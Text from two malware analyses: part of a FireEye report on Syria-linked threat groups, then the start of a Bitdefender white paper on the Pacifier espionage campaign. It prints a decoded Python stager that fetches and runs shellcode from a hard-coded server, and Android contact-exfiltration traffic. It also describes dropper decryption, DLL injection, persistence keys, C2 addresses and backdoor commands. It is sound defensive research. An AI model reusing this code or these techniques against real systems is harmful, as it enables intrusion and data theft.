RtlCreateUserThread avoids problems associated with different privileges that may exist between the injecting process (CABLECAR) and the target process and helps ensure the injection will succeed.
19   http://www.pyinstaller.org/ Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 29 The malicious Python script is decrypted in memory as shown in Figure 19: Figure 19: Malicious Python script decoded import struct, socket, binascii, ctypes, random, time HoAaKvZAEyhHfv, ghHICmgBqfYrOcL  None, None def CpkyBfJGA(): try: global ghHICmgBqfYrOcL ghHICmgBqfYrOcL  socket.socket(socket.
AF_INET, socket.
SOCK_STREAM) ghHICmgBqfYrOcL.connect((80.241.223.128, 55555)) eDkZgDbDN  struct.pack(i, ghHICmgBqfYrOcL.fileno()) l  struct.unpack(i, str(ghHICmgBqfYrOcL.recv(4)))[0] MTaURf while len(MTaURf)  l: MTaURf  ghHICmgBqfYrOcL.recv(l) GPvRqDBvWy  ctypes.create_string_buffer(MTaURf, len(MTaURf)) GPvRqDBvWy[0]  binascii.unhexlify(BF) for i in xrange(4): GPvRqDBvWy[i1]  eDkZgDbDN[i] return GPvRqDBvWy except: return None def FurDIGvZs(oLKKrJ): if oLKKrJ  None: AzXoBTMrVkytXs  bytearray(oLKKrJ) NDIloqhwTpMY  ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(AzXoBTMrVkytXs)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.VirtualLock(ctypes.c_int(NDIloqhwTpMY), ctypes.c_int(len(AzXoBTMrVkytXs))) poHzKwIQjkvRAsE  (ctypes.c_char len(AzXoBTMrVkytXs)).from_buffer(AzXoBTMrVkytXs) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(NDIloqhwTpMY), poHzKwIQjkvRAsE, ctypes.c_int(len(AzXoBTMrVkytXs))) ht  ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(NDIloqhwTpMY), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) HoAaKvZAEyhHfv  CpkyBfJGA() FurDIGvZs(HoAaKvZAEyhHfv) Once the malicious python script is decoded, it is executed via PyRun_SimpleString by the pyinstaller binary.
The malicious script connects to 80.241.223.128 on TCP port 55555 and downloads data, copies it to memory, decodes it, and executes it in its own thread.
Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 30 ANDROID BACKDOORS We identified two pieces of Android malware associated with this threat group.
Both variants are able to steal contact names, phone numbers, and the phones username.
In addition, one of the variants is also able to transmit a devices geographic location to the malwares C2 server.
The two Android backdoors were as follows: Syria-Twitter.apk (b91315805ef1df07bdbfa07d3a467424) Rasoo-dl.apk (e0b1caec74f31e8196a250f133f4345a) Both applications were signed with the same self-signed certificate: Figure 21: Self-signed certificate details Version: V3 Serial Number: 2d744830 Signature Algorithm: SHA256withRSA, OID  1.2.840.113549.1.1.11 Signature Hash Algorithm: sha256 Issuer: CNSami AlShami, OUShamDroidz-DEV, OShamDroidz, LHoms, STHoms, CSY Valid From: Thursday, August 15, 2013 9:59:52 PM Valid To: Monday, August 09,2038 9:59:52 PM Subject: CNSami AlShami, OUShamDroidz-DEV, OShamDroidz, LHoms, STHoms, CSY Public Key: RSA (2048 bits) Thumbprint: 9f 67 a5 fb 87 60 ce 33 1f c1 fe 79 c5 3d e2 e2 d9 fd 0b 66 The Syria Twitter application, shown below, was published on August 27, 2013, and had over 100 downloads on Google Play before being removed.
The Rasoo-dl application does not appear to have been distributed via Google Play.
Figure 20: Android app front-end Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 31 Both applications use the following permissions, which allow them to perform the listed tasks: INTERNET: Connect to the Internet ACCESS_NETWORK_STATE: Check the cellular network connectivity GET_ACCOUNTS: Get all the accounts used by the phone for authentication READ_CONTACTS: Read all the contacts The Rasoo-dl application has the following additional permission: ACCESS_FINE_LOCATION: Show the victims physical location Both apps contain code (shown in Figure 22) to steal contact names and phone numbers from the victims phone and transmit them via HTTP POST requests (in the format contactusernamecontact_ namecontact_phone) to a specific C2 location: Figure 22: Sending stolen data to C2 Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 32 Below is an example of traffic generated by the Syria-Twitter application (data displayed below is crafted and not actual contact data): Figure 22: Example of traffic generated by the Syria-Twitter application POST /contacts HTTP/1.1 Content-Length: 43 Content-Type: application/x-www-form-urlencoded Host: 80.241.223.128:4646 Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) contact26null26JohnRogers262175566789 POST /contacts HTTP/1.1 Content-Length: 44 Content-Type: application/x-www-form-urlencoded Host: 80.241.223.128:4646 Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) contact26null26WangzhiChen266312134560 Rasoo-dl contains additional code to send a devices geographic location, also via an HTTP POST request: Figure 23: Sending the devices geographic location to the C2 server Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT In this redacted, translated and condensed conversation, two members of the opposition are discussing the transfer of between 5-10 Russian-made anti-tank missiles and launchers.
The missile system is the 9M113 Semi-Automatic Command to Line of Sight (SACLOS) Anti-Tank Guided Missile (ATGMs), NATO designator: AT-5 SPANDREL.
They appear to be referring to a Tamdem High Explosive Anti-Tank warhead version of the missile, which would be particularly effective against armored vehicles and tanks.
FSA-linked groups facing the Assad regimes Tanks have extensively used the 9m 113 missile in Syria, and a number of YouTube videos show successful hits against regime materiel.
In full form, this conversation contains sensitive information regarding opposition weapons acquisition efforts.
The conversation includes details regarding the desired quantity of missiles for acquisition, the precise delivery location, timelines and procedures for transfer.
Individuals involved in this weapons procurement may have been put at risk, along with broader opposition logistics methods, perhaps affecting future weapons acquisition efforts.
PERSON 1 SEND PERSON 1 PERSON 29m 113 with tandem warhead  17:15 This missile is the same as the Konkurs.
17:17 OPPOSITION WEAPONS ACQUISITION Screenshot of an AT-5 missile from the Wikipedia page referenced by Person 2 within the chat Do you know what generation?
17:41 This is probably Second generation   17:50 I mean its old   17:52 Yeah for sure   17:55 Its very old  17:56 Look online to find out more information about it.
17:57 http://ar.wikipedia.org/wiki/9D985113_D983D9 88D986D983D988D8B1D8B3 17:58 [REDACTED] is this what you want?
18:09 Yes god willing.
18:10 [REDACTED] be ready we may deliver in 24 hours.
18:16 I hope to god we will be ready.
18:18 where is the delivery site?
18:19 [REDACTED LOCATION] ok  18:24 there will be a specific set of procedures that we will need to follow to deliver and receive [the missile systems] but I do not know them yet.
18:27 Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 34 MALWARE SAMPLES Below are the files and MD5 hashes for the malware associated with this threat group.
Table 1: List of malicious file names and MD5 hashes File Name MD5 Description 0187be3ccf42c143ab96e7bbf2efbf2f Dropper (SFXRAR) 0cc7b05c220ecbeb52891d49f1ab41ab Dropper (SFXRAR) idm-en-setup.exe 29e79080b2b2de01b53223542b46d570 Dropper (SFXRAR) IslamArmyThem.exe 2a456e35918700bc76f6ec1dd9ea93a1 Dropper (SFXRAR) Keyboard-Sounds.exe 36875b44145cf20b8d3148e7f7efcea0 Dropper (SFXRAR) 3ffc4e4081854d04d8217c2ebabdd61d Dropper (SFXRAR) Pdf-to-Word-Converter.exe 4268e2a8209429155ef5df22ca17c0be Dropper (SFXRAR) from-aliwa2-doctor-salim-dris-to-whom-it-may-concern.exe 465a0bf22cd101dbd502a2576f10ceb4 Dropper (SFXRAR) diplaced-syrian-people-cod.exe 4cd035012ec6015e48f6fb7001330a95 Dropper (SFXRAR) 4d70791db506cb04e62b607e1f57699c Dropper (SFXRAR) 5e334057856967a5d31c266c550549b0 Dropper (SFXRAR) Displaced-Syrians-Suffering_cod.exe 6439ccba5b06e434953ba209b8b07107 Dropper (SFXRAR) install_flashplayer11x32_gdrd_aih.exe 6608ce246612d490f3b044627a5e6d9e Dropper (SFXRAR) 692265ba1d4a5b2773e596d3491ed2be Dropper (SFXRAR) JetCleanSetup.exe 7091f135e4718586d16b56c04b21a6b7 Dropper (SFXRAR) Syrian-Girl-Against-Regime_gpj.exe 8a0a36d0d1d91b357e5ce8f84ad16346 Dropper (SFXRAR) Maktal-Kiyadi-Barez-men-hizbillah-fi-ltafgir-l2akhir-fi- ldahya12300012.exe 931bafa20756eaf8b5371222b5b81a61 Dropper (SFXRAR) 980c6e7f8a10144a28730f3f0adb99d0 Dropper (SFXRAR) AdobeReader-9-En-Us.exe 99655bacbe845ad30c6c5ed56a7e13d4 Dropper (SFXRAR) Eye-Protector-Portial-Setup.exe a19e70ffa130a096753463b23733927d Dropper (SFXRAR) Billiards.exe a577701d4b5ada66912a242a7772b48a Dropper (SFXRAR) New-Iman-Picture.pif a9e5ec23ccdec9cd79af771e2dbf54d5 Dropper (SFXRAR) c79ad54dead0b446fe8fac60cbd133a7 Dropper (SFXRAR) Live-Chat-ooVoo-Setup.exe c808ef1ab997d0234ee889ecd5176c8e Dropper (SFXRAR) Syrian-Girl-Against-Regime_gpj.exe d023fc719fba710b44f140deff3f83e4 Dropper (SFXRAR) Syrian-chlidren-under-execution_fdp.exe d32aaf60744678e559db59fbe2daa938 Dropper (SFXRAR) nazhin.exe d87356940d3b15d87453ead6374691ab Dropper (SFXRAR) Video-Downloader.exe dc33cbf669df01302ddd124b028a4fd9 Dropper (SFXRAR) Amer-Mohemmeh.exe e403972c890cf2eb0a361a91ac5ffe5e Dropper (SFXRAR) Live-Chat-ooVoo-Setup.exe e41c913327e6974730da99e7c327a2a2 Dropper (SFXRAR) e65bdb88e606c45521ab2c04c650ed86 Dropper (SFXRAR) Russia-vs-Amerika.exe ef56383f53b7ccb08016737c98fe2982 Dropper (SFXRAR) google-update.sfx.exe 27c2b873849227de45ec10fca112f322 Dropper (password- protected SFXRAR) adobereadersetup-86x.sfx.exe 47702a6cdc59859ec97c99aa31148ae6 Dropper (password- protected SFXRAR) Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 35 Table 1: List of malicious file names and MD5 hashes File Name MD5 Description adobeflash.sfx.exe 4bd3ea86eb7d63b1bdd001e6adbe8b89 Dropper (password- protected SFXRAR) oovoo-setup.sfx.exe 57cbbe8e7d18b1980cfc4bc87121b2c7 Dropper (password- protected SFXRAR) microtec.sfx.exe 5ae84cadc1ea5a4bcc027a19eca514c5 Dropper (password- protected SFXRAR) Microsoft-Update.sfx.exe 63fb57fd90590c3c0d0d95d86b6df66d Dropper (password- protected SFXRAR) adobesetup.sfx.exe 748b8aca1c17415648b80f0038381097 Dropper (password- protected SFXRAR) adobesetupx86.sfx.exe 81ef5426583e1d6df4193f38402b40c1 Dropper (password- protected SFXRAR) office-word-update.sfx.exe 9491c4e0c08c9347421ae352f14a1329 Dropper (password- protected SFXRAR) update-flashplayer11.sfx.exe a1e0d40715f66f30aad44ab4c15a474a Dropper (password- protected SFXRAR) install_flashplayer11x32_gdrd_aih.exe b23b16b3cccba9c1ecd0c0d17cc48979 Dropper (password- protected SFXRAR) adobesetupx86.sfx.exe b9623abd519ee688e0b9d9350c83e209 Dropper (password- protected SFXRAR) adobesetupx86.sfx.exe d4b4367f874c9c8d645b1560f9d259ea Dropper (password- protected SFXRAR) adobereader-86x.sfx.exe d620deacd018da09a69e24cb978f556d Dropper (password- protected SFXRAR) adobesetup32.sfx.exe d672e9789f22b806a295f0dd2122316a Dropper (password- protected SFXRAR) adobe32en.sfx.exe e2a624302af7a3eeb59cbb58f36b0fac Dropper (password- protected SFXRAR) adobereader-86x-64x.sfx.exe f7f8538d2ab0ffee878a4e512230f97d Dropper (password- protected SFXRAR) adobesetupx86.sfx.exe f893d5d351a3ffc1f89a8ec8147cd060 Dropper (password- protected SFXRAR) adobred-86x.sfx.exe fda3816d0bac2e4791cbcfaf33416633 Dropper (password- protected adobesetupx86.sfx.exe ff97bc797ed27b5e21e4e4a6e7443219 Dropper (password- protected SFXRAR) adobesetup.exe 163595b20debdeccdeaf4cb14fba737c BLACKSTAR adobe32en.exe_ 202eb180f5faa8460941ae60cf63da63 BLACKSTAR adobereadersetup-86x.exe_ 39632325327bf21f7d9cf02caf065646 BLACKSTAR adobex86setup.sfx.exe 64eb08013399e3ac18c936d361d80e17 BLACKSTAR google-update.exe 7247d42b3b4632dc7ed9d8559596fff8 BLACKSTAR adobereader-86x.exe 7576127f8bd805b30d0016d897211f54 BLACKSTAR Behind the Syrian Conflicts Digital Front LinesSPECIAL REPORT 36 Table 1: List of malicious file names and MD5 hashes File Name MD5 Description adobesetupx86.exe 89dda79018d6216970a274b16b3494ad BLACKSTAR adobred-86x.exe a641c08e09c53858d16c0c70107979b5v BLACKSTAR adobereader-86x-64x.exe a691e4b629da2b37dd87e760bfb0106e BLACKSTAR adobeflash.exe c421f4e12892d4ac345e7b03f6a053d2 BLACKSTAR adobesetup32.exe_ d1f817744f79dad415a526c4ce51bed9 BLACKSTAR adobeinsx86.exe de65eed45ac210c66db8082f1a72db8f BLACKSTAR adobesetupx86.exe e11aeb603cb7a31c2028976a2deed550 BLACKSTAR microtec.exe 0bf0e05247b986c484dbfe53ebb8ac48 DARKCOMET googleupdate.exe_ ae1ea30e6fb834599a8fed11a9b00314 DARKCOMET microsoft-update.exe 6b5aabd26998568d9ca628713b53cacf ONESIZE flashplayer11x32_gdrd_aih.exe b68a7e216cb0d18030048935b67e0d68 ONESIZE bayan09072013_pdf.exe 0e24a0060493bcb85ce4a5110550f204 YABROD Keyboard-Sounds.exe 1328d3d4872bfe2c98fd7b672d8dff1b YABROD reporthezbolla20072013_pdf.exe 508deeb6a5a37e9f94d5d4733ce0352f YABROD VPN7.exe bd4769f37de88321a9b64e5f85baf1ef YABROD f18dedf9f5d213deba18a2e037819ea1 YABROD 44df02ac28d80deb45f5c7c48b56a858 44df02ac28d80deb45f5c7c48b56a858 YABROD PDF 78c5670e2cee9b5c3b88aa9cb27519be.pdf 78c5670e2cee9b5c3b88aa9cb27519be YABROD PDF 9d351b9ee731d88f12fcaa64010e828d.pdf 9d351b9ee731d88f12fcaa64010e828d YABROD PDF yabrod.pdf e0625817eb11874d806909a8c190d45a YABROD PDF greenhill.png 182c7b1ad894852d23f4de538e59ac2b CABLECAR 4e007cb87626f0093a84ed50b1d27a7f 4e007cb87626f0093a84ed50b1d27a7f CABLECAR Facebook-Account.exe 64a17f5177157bb8c4199d38c46ec93b Dropper for pyinstaller malware syria-twitter.apk b91315805ef1df07bdbfa07d3a467424 Android Malware rasoo-dl.apk e0b1caec74f31e8196a250f133f4345a Android Malware To download this or other FireEye Threat Intelligence reports, visit: www.fireeye.com/current-threats/threat-intelligence-reports.html 2015 FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
SP.SYR.EN-US.022015 FireEye, Inc.    1440 McCarthy Blvd.
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White Paper Pacifier APT [2] White Paper Contents Overview....................................................................................................................................................................... 3 2014-15 Executable Files ........................................................................................................................................ 4 2014-15 Browser Extension ................................................................................................................................. 11 Other 2015 variants .................................................................................................................................................15 2016 attack wave .................................................................................................................................................... 16 IOCs...............................................................................................................................................................................22 SHA1 hashes of all known variants ..................................................................................................................24 Clean documents opened by droppers ...........................................................................................................26 Authors: Marius TIVADAR Cristian ISTRATE Iulian MUNTEAN Andrei ARDELEAN [3] White Paper Overview Bitdefender detected and blocked an ongoing cyber-espionage campaign against Romanian institutions and other foreign targets.
The attacks started in 2014, with the latest reported occurrences in May of 2016.
The APT, dubbed Pacifier by Bitdefender researchers, makes use of malicious .doc documents and .zip files distributed via spear phishing e-mail.
Documents used range from curriculum vitae, to invitations to social functions or conferences, to second hand car offers and even, in one case, a letter of instructions from a high-ranking official.
Some were marked as urgent, important, immediate action required and so on.
Other samples of the same malicious software were detected in Iran, India, Philippines, Russia, Lithuania, Thailand, Vietnam and Hungary.
The high number of variants, in conjunction with the low number of reports and the nature of the affected machines has brought us to the conclusion that we are dealing with an APT.
The malicious payloads delivered evolved over time, becoming stealthier and adding functionality as time went by.
Our analysis focuses on three representative variants of the malware used in the attacks, but a number of others, differing by minor details, were found in the wild.
Aside from the analysis, this paper lists hashes of malicious files, as well as other IOCs.
[
4] White Paper 2014-15 Executable Files The Infected Document The infection starts from one infected document.
Analysis started from documents containing droppers.
The dropper is encrypted and appended to the end of the document the document contains a script that reads, decrypts and runs the dropper.
The last dword in the document file represents the size of the executable.
The 5th byte from the end of the document is a checksum on the decrypted executable, used for validation.
The actions from the script are summarized below: size  last_dword_from_file checksum  byte_before_size_dword // read encrypted dropper in buffer for (key  35, i  0 i  size i) buffer[i]  buffer[i]  key key  (key  217)  (i  256) for (sum  0, i  0 i  size i) sum  sum  buffer[i]  if (sum checksum)(1 byte) (4 bytes)  // write and execute the file in: // appdata\Microsoft\Word\MSWord.exe  For the script to run, macros must be enabled in Word.
As you can see in Appendix A the content of the infected documents is designed to trick the user into enabling the macros.
If the macros are enabled the dropper is executed and opens another document, as expected by the user.
For example if the infected document says it is a protected document and you must enable macros to view it, then the dropper will open another document with an invitation to a conference as the protected document.
In Appendix B you can find some examples of these pacifier documents, these are clean and contain no scripts or executables.
.DOC Encrypted dropper Size (4 bytes) Checksum (1 byte) [5] White Paper Trojan component Initial infected document Level 1 dropper (MsWord.exe) Level 2 dropper (ubfic.exe) Clean document (European_global) modify desktop icons Registry autorun ntlm.exe outlook.exe msvci.dll use msvck.dll inject open open msvcp.dll use ge t P ID msvct.dll CC drop files ntlm.exe, msvci.dll msvct.exe, msvck.dll msvcp.dll, msvci.exe msvck60.dll, msvct60.dll Functionality on 32bit Windows ntlm.exe  startup executable msvcp.dll  get PID of outlook.exe msvci.dll  inject msvck.dll in outlook process msvck.dll  main backdoor msvct.dll  CC communication main backdoor use drop drop drop Functionality on 32bit Windows ntlm.exe  startup executable msvcp.dll  get PID of outlook.exe msvci.dll  inject msvck.dll in outlook process msvck.dll  main backdoor msvct.dll  CC communication [6] White Paper The Dropper The script previously loaded from the infected .doc file executes the dropper from: appdata\Microsoft\Word\MSWord.exe The dropper is a small executable that has the files to be deployed in the overlay encrypted with RC4.
It just creates and runs the following files in this order: - appdata\TMP\European_global_navigation_system.doc - appdata\Axpim\ubfic.exe - appdata\Axpim\ anfel.js The file European_global_navigation_system.doc  is a clean document used to distract the user (see Appendix B).
The file ubfic.exe is another dropper containing the real payload.
The anfel.js file is used for self deletion.
The names: Axpim, ubfic, anfel are random generated.
The folder name will contain 4-6 characters and starts with capital letter.
The file names contain 4-5 lowercase letters before the extension.
The random generator is based on GetTickCount API.
The algorithm for creating the names is presented below in python implementation.
Practically, it concatenates random vowels and consonants, but with the condition that no more than two of the same type to be consecutive, with the aim of generating names that are somewhat pronounceable and thus may pass as man-made.
This algorithm was also used in some versions of Zeus for file name generation.
name length will be between minLen and maxLen flags - 4 name will contain spaces - 2 name will have first letter uppercase - can be combined def RandomName(minLen,maxLen,flag): letters  [aeiouy, bcdfghklmnpqrstvwxz] name    seed() index  randint(0,1) nameLen  randint(minLen, maxLen) for i in range(0, nameLen): if i  0 and i  2  0: index  randint(0,1) if (flag  4)  4 and len(name)0 and name[-1]  and randint(0,3)0: name  name elif i  2  0: name  name  choice(letters[index]) else: name  name  choice(letters[1 - index]) if (flag  2)  2: name  name.title() return name.rstrip() generate folder name RandomName(4, 6, 2) generate file names RandomName(4, 5, 0) [7] White Paper The Second Dropper The payload dropper, ubfic.exe, contains its files in its .data section and is not encrypted or compressed.
It creates the files: - temp\ntlm.exe - temp\msvci.dll - temp\msvcp.dll - temp\msvck.dll - temp\msvct.dll - temp\msvci.exe (64 bit) - temp\msvck60.dll (64 bit) - temp\msvct60.dll (64 bit) These files make up the payload.
The last three are for 64-bit Windows, the rest are for the 32-bit version.
The starting point of the payload is the ntlm.exe file which is discussed below.
Next, using COM objects, the dropper modifies the .lnk files from the desktop and saves the original links in temp\Links folder.
The links are modified to start the trojan: Lnk Target Original C:\Program Files\Sysinternals\Filemon.exe Modified C:\Documents and Settings\user\Local Settings\Temp\ntlm.exe C:\Program Files\Sysinternals\Filemon.exe The target file of the link is replaced with ntlm.exe and the original target is sent as a parameter to ntlm.exe, which upon execution will execute it.
Next, the dropper creates temp\startup.bat which adds to the registry: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchostUpdate - TEMP\ntlm.exe HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices - TEMP\ntlm.exe The first key is for starting the trojan, along the .lnk files.
Some versions do not have the lnk feature, only the registry keys.
The second key is never used in our samples.
Last file created is temp\Axpim\selfdel.bat for self-deletion.
msvcp.dll 32 bit library used for returning the PID of one of the processes: iexplore.exe, outlook.exe, firefox.exe, chrome.exe.
It hase one export, msvcp, which enumerates running processes and checks their names.
It will return the PID of the first one found.
If the processes could not be enumerated it returns 0.
If no process was found it returns -1.
Instead of storing the actual names of those processes in the dll, it stores a byte array as a key and one byte array (result) for each of the 4 names.
The checking is done: ProcessName xor key  result, on coresponding bytes.
The function may return different PIDs when processes are stopped or started.
[
8] White Paper msvci.dll 32 bit library used for injecting msvck.dll (the 32 bit backdoor) into a running 32 bit process.
The library has one export msvci, which takes one parameter representing the PID of a running process.
It allocates a small chunk of memory into that process (260 bytes).
In this memory it copies the path to the msvck.dll file, which is found in temp\msvck.dll.
Then, from the current process it gets the address of LoadLibraryA function and creates a remote thread in the target process starting at that address.
The parameter sent for the thread function is the address of the new allocated string containing the path to msvck.dll.
As a result, in the target process, a thread is created which just executes LoadLibraryA(path to msvck.dll).
This method will work even if ASLR is enabled, because the random loading offset for dlls is calculated once per boot and by default one dll is loaded at the same address in different processes.
msvci.exe 64 bit application used for injecting msvck60.dll (the 64 bit backdoor) into a running 64bit process.
The executable takes a commandline parameter representing a PID.
The functionality is identical to msvci.dll library.
ntlm.exe This is the file that starts the trojan.
First, it creates a named pipe \\.\pipe\bc367  used as a mutex, as the file will probably be executed many times from the shortcuts.
The name of the pipe and all other strings in the file and in the rest of the dlls are encrypted with RC4.
It sets the other files of the trojan (msvci.dll, msvcp.dll, msvck.dll, msvct.dll, msvci.exe, msvck60.dll, msvct60.dll) as hidden, ntml.exe will not be hidden.
Afterwards, the executable enters an infinite loop.
It checks if the file temp\msvci.dll exists, if it does not exist it will do a self destroy: deletes all components, deletes registry keys, restores the original lnk files from temp\Links, closes the pipe.
This behaviour is used by the backdoor component later for self deleting.
Next it loads the msvcp.dll library and call msvcp export from it.
This function returns the PID of one of the processes: iexplore.exe, outlook.
exe, firefox.exe, chrome.exe, and 0 or -1 if none of those processes was found.
If a process was found, its PID is saved into a variable, then the program checks whether that process is a 32 bit or 64 bit process.
If it is a 32 bit process it calls msvci export from msvci.dll with one parameter, the PID.
If the process is a 64 bit process it creates a start Create pipe, Hide files msvci.dll exists end Self delete Sleep 30 sec Call msvcp, Get PID of target PID  last_PID Last_PID  PID Call msvci(PID) PID process Is 64 bit Execute msvci.exe PID yes no yes no yes no PID IsWow64 ntlm.exe IsWow64 target is 32 bit target is 64 bit yes no yes no Check if a process is 64bit knowing that ntlm.exe is 32bit ntlm.exe functionality [9] White Paper process from msvci.exe with the commandline parameter being the PID converted to ascii, base 10 (ex: msvci.exe 728).
The purpose of msvci.dll and msvci.exe (64bit) is to inject the payload into a process.
After this it sleeps 30 seconds and repeats indefinitely.
The saved PID is checked so that it doesnt inject again into the same process.
This mecanism is flawed because another process from the list could be found and it will inject into it also, or it is possible to inject in the same process twice, for example outlook.exe opened first and injected then iexplore.exe opened second and injected then iexplore.exe closed and outlook.exe injected again.
Another bug can appear if msvcp.dll will be deleted because when calling LoadLibrary and GetProcAddress it doesnt check the return values and the program will crash when calling a NULL pointer.
msvct.dll 32 bit library contains functions for communicating with the CC, using WinINet API.
The backdoor does  not contain any CC addresses or networking logic, it just uses the exports from msvct.dll, namely: -  BOOL CI(void)  Checks for internet connection.
Returns true if a http request (GET /1) to  www.google.com succeeds returns false if not.
-
BOOL SHR(char ServerAddr, char ServerScript, void ID, void SendBuff, void RecvBuff,  void extra)  Sends and receives data to/ from CC.
The communication is encrypted through HTTPS, port 443.
-
Extra flags are used for the connection: INTERNET_FLAG_IGNORE_ CERT_DATE_INVALID,  INTERNET_FLAG_IGNORE_CERT_ CN_INVALID, SECURITY_FLAG_IGNORE_UNKNOWN_CA to ignore errors caused by invalid certificates.
ServerAddr and ServerScript make the address of the CC, these are found using the CS export.
ID is a structure made from a buffer (string) and its length.
The ID string will be put into the HTTP headers.
SendBuff is the same type of structure like the ID.
SendBuff contains data that is sent to the CC.
RecvBuff is a structure that contains 4 members, 3 being pointers: a data buffer, a buffer length and two strings.
This structure will be filled with data coming from CC.
The data buffer can contain batch commands or whole files to be written to disk.
The first string will contain the Content-Type from the headers and this will be the command for the backdoor.
The second string will contain the Content-Location from the headers and will have the name of a file for download/upload commands.
The last parameter, extra, is again a structure from a buffer and its length.
It is optional.
The string that it contains is sent through the HTTP header.
This is used by the CS export and then it contains that Check: RandomNr string for CC validation.
It is also used in the upload backdoor command.
The function returns true or false.
-
BOOL CS(void ID, char ServerAddr, char ServerScript)  Check CC connectivity.
Returns true if it founds a valid CC and ServerAdd, ServerScript (output parameters) will contain the address and the page/script of the CC.
ID (input parameter) is a structure that contains a string and its length.
The string represents an ID identifying the infected system.
This function tries two hardcoded CC addresses: 88.208.0.130/rss.php, 78.47.51.238/rss.php (other variants used different addreses).
It generates a random number from 0 to 32767 and then creates a string with it, such as: Check: 1352.
This string will be sent in the http headers using SHR function to the CC.
If a CC is alive it must respond with the string 1352 back.
If none of the two CCs are alive the function returns false.
msvct60.dll 64 bit version of msvct.dll msvck.dll 32 bit library containing the main functionality, the actual backdoor.
It has no exports and will only execute if injected into iexplore.exe, outlook.exe, firefox.exe or chrome.exe.
First, it checks the internet connection using the CI export from msvct.dll.
If it has no internet access the execution ends.
Next it creates an ID of the infected system as a string such as: MyCookie: eceee5c0-1eca-11de-abc9-806d6172696f3559831177  the GUID is obtained using GetCurrentHwProfile API and the second bracketed number is the volume serial number.
If GetCurrentHwProfile fails the ID will be: MyCookie: UserName3559831177  with the username from GetUserNameA API and again the volume serial number.
[
10] White Paper The ID created will be used to check the connection to the CC with the CS export from msvct.dll.
The connection is checked in an infinite loop with a sleep of 28 minutes after each check, until a valid, active CC server is found.
The CC addresses are contained in msvct.dll and one of them is returned by CS function on success.
It can be seen that the loop was meant to only check 3 times for the connection (like other samples do), but, maybe because this is a intermediary version or by negligence, the code actually loops indefinitely.
After this follows the code for a regular backdoor which receives commands from the CC.
The commands are received and the results are sent back with the SHR export from msvct.dll.
The backdoor will be identifying the computer with the ID it created.
After 3 successful commands received it will sleep for 28 minutes.
After 3 consecutive failed commands (SHR returns false) it will again perform a CC validation with the CS function in an infinite loop.
Here it may receive the other CC address.
If a command is received but it is not recognized it will sleep again for 28 minutes.
The commands are text strings and are described below: cmd - Creates the file temp\xmlupd.bat which will contain batch commands.
It creates a process with xmlupd.bat but with stderr and stdout redirected to the file temp\1.
It waits maximum 30 seconds for it to finish then it will kill the process.
After that it sends back to the CC the content of the temp\1 file.
Some examples of commands received: systeminfo set netstat ano dir/a programfiles dir /a programfiles(x86) download  Receives a file and writes it to temp.
The name of the file is also received from CC.
It will not execute the file.
upload  Receives a file name, reads the file, converts the content to base64 and sends it to the CC with an extra HTTP header File: filename.
If it doesnt find the file it sends back the last error (GetLastError for CreateFileA).
text/html  This looks like a normal Content-Type HTTP header value (the commands arrive in the Content-Type header).
When this is received it resets the number of consecutive failed commands and sleeps 28 minutes.
The backdoor will continue after.
close  Stops the execution of the backdoor, the injected thread will terminate.
selfdestroy  Deletes the file temp\msvci.dll then ntlm.exe will take care of deleteing all other components.
The backdoor ends execution after the command.
msvck60.dll 64 bit version of msvck.dll.
[
11] White Paper 2014-15 Browser Extension The Infected Document The infection start from a document cv_Mate.
Dimitrescu.doc .
The document is constructed in the same way as the documents containing the other variant of the malware.
The script in it has the same functionality, it will create and execute the dropper appdata\ Microsoft\Word\MSWord.exe The Dropper The dropper looks the same as the other droppers, only smaller in size.
The files that it contains are encrypted with RC4 in overlay.
Only two files will be dropped: appdata\Aggea\ivotp.xpi appdata\Aggea\ylir.js The names Aggea, ivotp.xpi, ylir.js are random generated.
No clean document is present in the dropper and the initial infected document will not close.
There is no second dropper either.
The javascript file is executed, installs the xpi file as an extension in Firefox and then deletes the directory appdata\Aggea\.
The Firefox Extension The extension file will be renamed to 285364ef-e70c-4386-8e5c-2aa93a78daad.xpi then will be installed in Firefox.
In the browser it will appear with the name langpack-en-GB 15.0.0 as in the picture below.
[
12] White Paper We tested it in Firefox 35.0, in some newer versions it didnt work.
In this version of the malware the extension will work as the backdoor.
The functionality is contained in 3 files in the extension package: 1.js, 2.js, main.js.
1.js The file 1.js contains encryption and decryption routines.
Algorithm used is AES, and the implementation seems to be copied from https:// github.com/chrisveness/crypto/blob/master/aes.js  and ran through an obfuscator.
2.js The file 2.js contains the CC addresses and the network functionality.
All data to and from the CC will be sent through normal HTTP but it will be encrypted and converted to base64.
The encryption key is generated once when the extension is started but it can be changed if the CC requests as we will see later.
In this variant we find 6 CC addresses (presumably these are previously- compromised machines): http://reckless.dk/wp-includes/class-pomo.php http://reckless.dk/wp-includes/class.wp-db.php http://fishstalk.esy.es/wp-content/plugins/bbpress/includes/common/menu.php http://fishstalk.esy.es/wp-includes/SimplePie/Net/IPv4.php http://77-ufo.com/wp-includes/class-menu.php http://77-ufo.com/pma/db_table.php The strings in the files are not visible because the javascript files are highly obfuscated.
The function that sends the data to the CC also receives the response.
The function will select each time a CC that responds from the list.
This file would be the equivalent of the msvct.
dll file from the earlier version.
main.js The file main.js is the actual backdoor (msvck.dll equivalent).
The malware starts by creating an ID for the system.
The ID is a Md5 hash on some data colected from the system.
